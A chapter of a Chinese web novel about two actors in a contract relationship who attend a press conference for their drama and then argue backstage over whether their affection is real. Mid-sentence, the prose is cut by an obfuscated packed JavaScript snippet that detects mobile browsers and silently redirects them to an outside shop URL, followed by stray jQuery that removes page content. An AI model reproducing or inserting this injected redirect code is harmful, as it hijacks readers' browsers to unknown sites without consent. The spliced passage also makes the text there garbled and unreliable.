云扬最终还是没有深究陆砚池的话,他想着两人就只是协议而已,既然是协议,那就不要在意,对谁都好,一晚上翻来覆去,直到天亮也没睡着。
《速度激情》的新闻发布会定在下午,云扬从陆砚池公寓出发的时候才十一点多,想着今天是周末兴许路上人多。
他站在路边等车时,初秋的风带上了凉意。天气预报说今天有雨,天空阴沉沉的,厚重的云层压在城市上空。云扬裹了裹身上单薄的外套,低头看了眼,陆砚池十几分钟前发来的消息,说是片场有场戏得补拍,会从剧组直接过去,让他先走。
一辆黑色的轿车缓缓停在他的面前,是陆砚池平时安排接送他的那辆。司机降下车窗,不是老陈,是个生面孔,大约四十出头,戴着墨镜。
“云先生,陆先生让我来接您。”
云扬犹豫了一瞬,不熟悉的人,但陆砚池确实说过,家里的司机不止一个,前些天老陈说过请几天假,照顾家里的秋收。
“谢谢。”他拉开车门坐进后座。
车子平稳驶入主路,云扬靠在椅背上,窗外街景后退,初秋的梧桐叶已经卷曲泛黄。
但不知道为什么,从上车开始,就觉得哪里不对劲。是一种隐约的、持续的不安,好像有什么人一直盯着他看。
云扬透过后视镜看了眼前面的司机,司机专注地开车,双手稳稳握着方向盘,没有任何异常。
兴许是昨天没睡好,昨晚的梦境中,还是陆砚池的话,那句投资项目,让他一夜都没睡安稳。
车子拐过一个路口。云扬下意识地回头看了一眼。
后面跟着几辆车,都很普通,没有任何可疑的。一辆白色SUV,一辆出租车,一辆银色轿车。它们在不同的车道上行驶,有的超车,有的减速,没有任何一辆车刻意跟踪。
云扬转回头,轻轻吐出一口气。
果然就是想太多了。
新闻发布会设在市中心一家五星级酒店的宴会厅。云扬到的时候,外面已经围满了媒体和粉丝。长枪短炮的镜头,闪烁不停的闪光灯,还有兴奋的尖叫和呼喊。
“云扬!看这边!”
“云扬今天好帅!”
云扬微笑着朝人群点头,在工作人员的护送下走进酒店。穿过旋转门时,他下意识地又回头看了一眼。
街对面,一辆银色轿车缓缓驶过。车窗贴着深色的膜,看不清里面。车子很快汇入车流,消失不见。
也许只是巧合。
云扬收回视线,走进电梯。
宴会厅里已经布置好了。巨大的背景板上印着《速度激情》的海报:陆砚池和他的民国造型,一冷一暖,一刚一柔,两人站在一起就像是天生一对。台下摆满了座椅,前排是媒体区,后面是粉丝代表和业内人士。
云扬被引到后台的休息室。刚推开门,就看见陆砚池正站在镜子前整理袖口。
他今天穿了一身深灰色西装,剪裁合体,衬得身形愈发挺拔。头发精心打理过。从镜子里看见云扬进来,他转过身。
“来了?”陆砚池的声音很平静。
“嗯。”云扬走到他身边,“片场那边顺利吗?”
“还行。”
陆砚池从镜子里看他,眉头很轻的蹙起:“没睡好?”
云扬下意识地偏过脸:“看剧本晚了。”
“黑眼圈遮不住。”陆砚池走近,手指快要碰到他脸颊的时候,替他理了理本就不乱的衣领:“等会儿镜头特写会拍到。”
云扬扯出一个笑容,“没事。”
陆砚池盯着他看了看,随后收回手:“等会儿上台,精神点。”
“好。”
两人没再说话。休息室里很安静,只有空调送风的微弱声响。云扬坐在沙发上,陆砚池继续对着镜子整理领带。
云扬时不时地用余光瞥见陆砚池。他不知道陆砚池是怎么做到的,怎么能把戏演得那么真,真到连他都差点信了。又怎么能收得那么快,快到一个转身就变回陌生人。
“时间到了。”工作人员推门进来,“两位老师,可以上场了。”
陆砚池转过身,朝云扬伸出手。
云扬看着那只手,犹豫了一秒,还是把自己的手放了上去。
陆砚池的手指修长,掌心微凉,握着他的力道不轻不重,恰到好处。
发布会上,灯光亮得刺眼。
云扬和陆砚池并肩坐在长桌后,面前是密密麻麻的镜头和话筒。主持人正在介绍剧集情况,台下不时响起掌声和欢呼。
陆砚池一直握着他的手。在镜头拍不到的角度,他的拇指轻轻摩挲着云扬的手背,动作很轻,像是安抚。
“接下来是提问环节。”主持人笑着说,“我们先请媒体朋友们提问。”
第一个记者站起来:“请问陆老师,您出演的谍战剧并不多,这次又是第一次同自己的恋人合作,感觉如何?”
陆砚池拿起话筒,声音平稳从容:“很有挑战性,但也很有趣。民国是一个很特殊的时代,新旧交替,东西碰撞,人物的命运和情感都会比现代戏更复杂、更强烈。至于我们的合作,这是早敲定下来的,希望我们呈现出来的角色,大家能够喜欢。”
“那云扬呢?”记者转向云扬,“您这次的角色和以往反差很大,有什么特别的感受吗?”
云扬拿起话筒,刚要开口,陆砚池忽然侧过头,在他耳边轻声说:“放松点。”
声音很轻,只有他们两个人能听见。温热的气息拂过耳廓,带来一阵细微的战栗。
云扬深吸一口气,对着镜头微笑:“确实很有挑战性。但这个角色很吸引我,他表面柔弱,内心却很坚韧,有一种……破碎的美感。”
他说着,感觉到陆砚池握着他的手又紧了紧。
接下来的问题大多围绕着剧集本身,两人配合默契,回答得体。台下的粉丝举着灯牌和手幅,上面写着“砚扬”、“速度激情”、“双A爱情”之类的字眼,每当他们互动时,就会爆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185164|197002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发出一阵兴奋的尖叫。
“最后一个问题,”主持人说,“请问两位老师,在剧集预热拍摄中,有没有什么特别难忘的瞬间?”
陆砚池看了云扬一眼,然后拿起话筒:“有很多。但最难忘的……应该是前些天的团建。”
台下瞬间安静了。
“那晚云扬发烧了,”陆砚池继续说,声音比刚才柔和了些,“第二天任务多,我很担心他撑不住。但他很敬业,一句怨言都没有,坚持拍完了。”
他转头看向云扬:“那时候我就想,这个人……比看起来要坚强得多。”
镜头瞬间对准云扬。他能感觉到自己的脸在发烫,浮上了层淡粉。
“云扬呢?”主持人问,“您有什么难忘的瞬间吗?”
云扬拿起话筒,手指微微颤抖。他看着台下的镜头,看着那些期待的眼睛,最后看向身边的陆砚池。
陆砚池也在看他,嘴角微微弯起,露着些许浅笑。
“我……”他开口,声音有些哑,“我最难忘的……也是那晚。”
台下响起一阵压抑的惊呼。
“但不是因为我发烧,”云扬继续说,每个字都说得很慢,像在斟酌,“而是因为……有人守了我一夜。”
他说完,低下头,不敢再看陆砚池。
全场寂静了几秒,然后爆发出雷鸣般的掌声。粉丝们尖叫着,媒体们疯狂按着快门,主持人激动地说着“太甜了”、“这就是真爱”。
发布会时间不长,只有大概一个小时左右,问题也不算太刁难,反而成了两个人的撒糖专场。
云扬和陆砚池在工作人员的护送下回到后台。陆砚池解开西装扣子,在沙发上坐下,揉了揉眉心。他看起来很疲惫,眼下的乌青比早上更明显。
云扬站在原地,看着陆砚池疲惫的侧脸,忽然问:“你刚才说的那些话……是真的吗?”
陆砚池抬眼看他:“哪些话?”
“野营那晚,”云扬的声音很轻,“你说我比看起来坚强,是真的这么想,还是……只是台词?”
陆砚池看着他,看了很久。
他说:“有区别吗?”
“如果是真的,”陆砚池继续说,“你会怎么样?如果是假的,你又会怎么样?”
“云扬,”陆砚池说,声音压低,“我们之间,真真假假,有那么重要吗?”
陆砚池站起来,一步步逼近,他抬手,木质几乎要碰到云扬的唇,却在空中停了下来。
“云扬,在这个圈子里,真话穿戏服,假话戴王冠。你问我野营那晚是真是假,那我问你,你现在期待的,是真的想听答案,还只是想听我说是?”
云扬喉咙发紧。
“如果我说是真的,”陆砚池继续,“你会信几分?如果我说是假的……”他突然笑了一下,“你又敢不敢承认,自己宁愿被骗?”
云扬始终没有回答,陆砚池退后一步,拉开距离。
“司机在楼下等你。”